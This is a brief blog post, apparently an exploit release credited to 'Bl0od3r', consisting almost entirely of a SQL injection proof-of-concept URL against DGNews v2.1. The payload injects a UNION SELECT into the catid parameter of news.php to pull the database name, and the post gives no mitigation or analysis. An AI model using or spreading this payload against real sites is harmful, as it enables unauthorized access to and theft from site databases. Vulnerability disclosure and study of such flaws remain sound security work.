Monday, 1 January 2007

DGNews v 2.1 sql injection

http://host.com/news.php?go=newslist&catid='UNION%20SELECT%201,DATABASE()/*

#released by Bl0od3r

No comments: